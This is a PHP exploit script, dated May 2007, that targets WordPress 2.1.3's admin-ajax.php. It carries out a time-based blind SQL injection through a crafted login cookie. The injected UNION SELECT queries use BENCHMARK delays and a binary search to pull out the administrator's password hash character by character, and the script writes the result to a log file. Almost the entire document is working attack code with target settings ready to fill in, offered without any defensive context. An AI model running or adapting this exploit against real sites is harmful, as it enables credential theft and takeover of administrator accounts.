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wp213-ajax.txt

Posted on 22 May 2007

<?php
error_reporting(E_ALL);
$norm_delay = 0;
///////////////////////////////////////////////////////////////////////
///////////////////////////////////////////////////////////////////////
// WordPress 2.1.3 "admin-ajax.php" sql injection blind fishing exploit
// written by Janek Vind "waraxe"
// http://www.waraxe.us/
// 21. may 2007
///////////////////////////////////////////////////////////////////////
///////////////////////////////////////////////////////////////////////
//=====================================================================
$outfile = './warlog.txt';// Log file
$url = 'http://localhost/wordpress.2.1.3/wp-admin/admin-ajax.php';
$testcnt = 300000;// Use bigger numbers, if server is slow, default is 300000
$id = 1;// ID of the target user, default value "1" is admin's ID
$suffix = '';// Override value, if needed
$prefix = 'wp_';// WordPress table prefix, default is "wp_"
//======================================================================

echo "Target: $url
";
echo "sql table prefix: $prefix
";

if(empty($suffix))
{
$suffix = md5(substr($url, 0, strlen($url) - 24));
}

echo "cookie suffix: $suffix
";

echo "testing probe delays 
";

$norm_delay = get_normdelay($testcnt);
echo "normal delay: $norm_delay deciseconds
";

$hash = get_hash();

add_line("Target: $url");
add_line("User ID: $id");
add_line("Hash: $hash");

echo "
Work finished
";
echo "Questions and feedback - http://www.waraxe.us/ 
";
die("See ya! :) 
");
///////////////////////////////////////////////////////////////////////
///////////////////////////////////////////////////////////////////////
function get_hash()
{
$len = 32;
$field = 'user_pass';
$out = '';

echo "finding hash now ...
";

for($i = 1; $i < $len + 1; $i ++)
{
$ch = get_hashchar($field,$i);
echo "got $field pos $i --> $ch
";
$out .= "$ch";
echo "current value for $field: $out 
";
}

echo "
Final result: $field=$out

";

return $out;
}
///////////////////////////////////////////////////////////////////////
function get_hashchar($field,$pos)
{
global $prefix, $suffix, $id, $testcnt;
$char = '';
$cnt = $testcnt * 4;
$ppattern = 'cookie=wordpressuser_%s%%3dxyz%%2527%s; wordpresspass_%s%%3dp0hh';
$ipattern = " UNION ALL SELECT 1,2,user_pass,4,5,6,7,8,9,10 FROM %susers WHERE ID=%d AND IF(ORD(SUBSTRING($field,$pos,1))%s,BENCHMARK($cnt,MD5(1337)),3)/*";

// First let's determine, if it's number or letter
$inj = sprintf($ipattern, $prefix, $id, ">57");
$post = sprintf($ppattern, $suffix, $inj, $suffix);
$letter = test_condition($post);

if($letter)
{
$min = 97;
$max = 102;
echo "char to find is [a-f]
";
}
else
{
$min = 48;
$max = 57;
echo "char to find is [0-9]
";
}

$curr = 0;

while(1)
{
$area = $max - $min;
if($area < 2 )
{
$inj = sprintf($ipattern, $prefix, $id, "=$max");
$post = sprintf($ppattern, $suffix, $inj, $suffix);
$eq = test_condition($post);

if($eq)
{
$char = chr($max);
}
else
{
$char = chr($min);
}

break;
}

$half = intval(floor($area / 2));
$curr = $min + $half;

$inj = sprintf($ipattern, $prefix, $id, ">$curr");
$post = sprintf($ppattern, $suffix, $inj, $suffix);

$bigger = test_condition($post);

if($bigger)
{
$min = $curr;
}
else
{
$max = $curr;
}

echo "curr: $curr--$max--$min
";
}

return $char;
}
///////////////////////////////////////////////////////////////////////
function test_condition($p)
{
global $url, $norm_delay;
$bret = false;
$maxtry = 10;
$try = 1;

while(1)
{
$start = getmicrotime();
$buff = make_post($url, $p);
$end = getmicrotime();

if($buff === '-1')
{
break;
}
else
{
echo "test_condition() - try $try - invalid return value ...
";
$try ++;
if($try > $maxtry)
{
die("too many tries - exiting ...
");
}
else
{
echo "trying again - try $try ...
";
}
}
}

$diff = $end - $start;
$delay = intval($diff * 10);

if($delay > ($norm_delay * 2))
{
$bret = true;
}

return $bret;
}
///////////////////////////////////////////////////////////////////////
function get_normdelay($testcnt)
{
$fa = test_md5delay(1);
echo "$fa
";
$sa = test_md5delay($testcnt);
echo "$sa
";
$fb = test_md5delay(1);
echo "$fb
";
$sb = test_md5delay($testcnt);
echo "$sb
";
$fc = test_md5delay(1);
echo "$fc
";
$sc = test_md5delay($testcnt);
echo "$sc
";

$mean_nondelayed = intval(($fa + $fb + $fc) / 3);
echo "mean nondelayed - $mean_nondelayed dsecs
";
$mean_delayed = intval(($sa + $sb + $sc) / 3);
echo "mean delayed - $mean_delayed dsecs
";

return $mean_delayed;
}
///////////////////////////////////////////////////////////////////////
function test_md5delay($cnt)
{
global $url, $id, $prefix, $suffix;

// delay in deciseconds
$delay = -1;
$ppattern = 'cookie=wordpressuser_%s%%3dxyz%%2527%s; wordpresspass_%s%%3dp0hh';
$ipattern = ' UNION ALL SELECT 1,2,user_pass,4,5,6,7,8,9,10 FROM %susers WHERE ID=%d AND IF(LENGTH(user_pass)>31,BENCHMARK(%d,MD5(1337)),3)/*';
$inj = sprintf($ipattern, $prefix, $id, $cnt);
$post = sprintf($ppattern, $suffix, $inj, $suffix);

$start = getmicrotime();
$buff = make_post($url, $post);
$end = getmicrotime();

if(intval($buff) !== -1)
{
die("test_md5delay($cnt) - invalid return value, exiting ...");
}

$diff = $end - $start;
$delay = intval($diff * 10);

return $delay;
}
///////////////////////////////////////////////////////////////////////
function getmicrotime()
{
list($usec, $sec) = explode(" ", microtime());
return ((float)$usec + (float)$sec);
}
///////////////////////////////////////////////////////////////////////
function make_post($url, $post_fields='', $cookie = '', $referer = '', $headers = FALSE)
{
$ch = curl_init();
$timeout = 120;
curl_setopt ($ch, CURLOPT_URL, $url);
curl_setopt ($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt ($ch, CURLOPT_CONNECTTIMEOUT, $timeout);
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, $post_fields);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 0);
curl_setopt ($ch, CURLOPT_USERAGENT, 'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727)');

if(!empty($cookie))
{
curl_setopt ($ch, CURLOPT_COOKIE, $cookie);
}

if(!empty($referer))
{
curl_setopt ($ch, CURLOPT_REFERER, $referer);
}

if($headers === TRUE)
{
curl_setopt ($ch, CURLOPT_HEADER, TRUE);
}
else
{
curl_setopt ($ch, CURLOPT_HEADER, FALSE);
}

$fc = curl_exec($ch);
curl_close($ch);

return $fc;
}
///////////////////////////////////////////////////////////////////////
function add_line($buf)
{
global $outfile;

$buf .= "
";
$fh = fopen($outfile, 'ab');
fwrite($fh, $buf);
fclose($fh);

}
///////////////////////////////////////////////////////////////////////
?>

 

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